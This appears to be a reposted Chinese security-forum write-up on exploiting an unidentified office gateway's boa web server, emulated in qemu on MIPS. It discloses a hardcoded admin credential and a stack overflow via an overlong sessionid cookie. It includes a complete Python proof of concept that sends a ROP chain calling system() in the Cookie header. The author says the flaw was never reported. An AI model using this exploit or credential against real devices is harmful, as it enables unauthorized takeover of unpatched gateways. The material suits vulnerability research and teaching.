记一次网关设备的pwn
2021-06-15 19:01:54 Author: mp.weixin.qq.com(查看原文) 阅读量:145 收藏

本文为看雪论坛精华文章

看雪论坛作者ID零加一

前  言

在这次出差时,对甲方办公网备进行了渗透测试。

期间搞断网了好几次,最后在领导的要求下就没在用真实设备来做测试了。
所以此次pwn测试使用了qemu进行模拟.

由于真实设备没路子搞到,也不知道设备所属厂商是谁,所以也没进行上报,算是一个0day吧。

一  获取设备shell


在之前购买相同登录界面的设备固件中发现内置了一个帐号

telecomadmin/nE7jA%5m。

登录成功:


如此看来该系列都会内置如此的帐号。


随后查看了一圈功能发现了拥有telnet服务,但是没有开启,也有别的rce漏洞可以用,这里直接强行开启telnet服务。

通过修改前端的html标签的属性成功开启了telnet服务:


登录telnet后并打包系统:

系统文件

二  模拟环境

通过端口查看到web服务对应的进程是/bin/boa的文件,架构是mips大端。
直接使用qemu来模拟执行,需要修改boa里一点点代码逻辑即可成功运行,不做多描述。


cmd输入命令:

chroot ./ ./qemu-mips-static -strace ./bin/boa1

因为缺失很多硬件的数据,所以这里只能访问到基本的页面。

三  漏洞挖掘

IDA查看部分函数:

存在漏洞的函数
search_login_list
get_sessionid_from_cookie
可以看到,在get_sessionid_from_cookie函数中并没有指定sessionid的长度。

通过qemu添加-g来可以通过ida来调试
栈溢出

sscanf执行前

可以看到,a2由s0来指定,s0的值是0x407FFD28:

0x407FFD54是返回地址


sscanf执行后,
可以看出,这一整块栈数据都被'a'填充了,包括返回地址:

 由此证明,可以通过超长的sessionid来进行栈溢出攻击。

四  漏洞利用

通过ida的插件mipsrop在libmib.so寻找到大量的rop,最终选定可用的两个:




通过该rop调用system,由上面代码可以看出:


计算出payload的大小为:0x23C-0x20=0x21C

sp+0x20为payload,sp+0x23C为system函数地址。


构造的PoC如下:

from socket import *HOST='192.168.92.129'PORT=80BUFSIZE=1024ADDR=(HOST, PORT)tcpCliSock=socket(AF_INET, SOCK_STREAM)tcpCliSock.connect(ADDR)rop_ImageBase=0x3FECB000rop_offset_1=0x000ACCE0rop_offset_2=0x0001DAB8rop_Addr_1=rop_ImageBase+rop_offset_1rop_Addr_2=rop_ImageBase+rop_offset_2libc_ImageBase=0x3fa8e000_system=0x0005EDD0 Function=_system+libc_ImageBaseprint(hex(Function))MaxShellBufSize=0x21CShell=b"echo PwnByWowfk"Shell+=b"&echo "FkData=b"aaaa"*11                        #填充栈到返回地址FkData+=rop_Addr_1.to_bytes(4,"big")    #ra     跳转到rop_1设置a0参数FkData+=b"aaaa"*8FkData+=Shell+b'a'*(MaxShellBufSize-len(Shell))FkData+=Function.to_bytes(4,"big")        #s0        用于调用apiFkData+=b'None'                            #s1FkData+=rop_Addr_2.to_bytes(4,"big")    #ra     由rop_1调用跳转到rop_2FkData+=b'\0'print(len(FkData)) data=b"""GET /wowfk HTTP/1.1Cookie: sessionid=%s  """%FkDataprint(data)tcpCliSock.send(data)while True:    data=tcpCliSock.recv(BUFSIZE)    if not data:        break    print (data.decode("gbk","ignore"))tcpCliSock.close()

最后执行效果如下:

五  结语

qemu的模拟对imagebase查看的话,用IDA附加后在main下断点,然后在qemu加-strace可以在输入信息可以看到。


第一次搞mips的pwn磕磕碰碰了许久才折腾成功,学到了很多东西。由此发文记录一下~

- End -

看雪ID:零加一

https://bbs.pediy.com/user-home-749276.htm

  *本文由看雪论坛 零加一 原创,转载请注明来自看雪社区。

《安卓高级研修班》2021年秋季班火热招生中!

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458386746&idx=1&sn=170ff8c3499a64b32caf3da9774123c0&chksm=b18f31b086f8b8a6b07204cbc5ec6d8ea3256920f86f338daad75f4d20666666c0e1476e1054#rd
如有侵权请联系:admin#unsafe.sh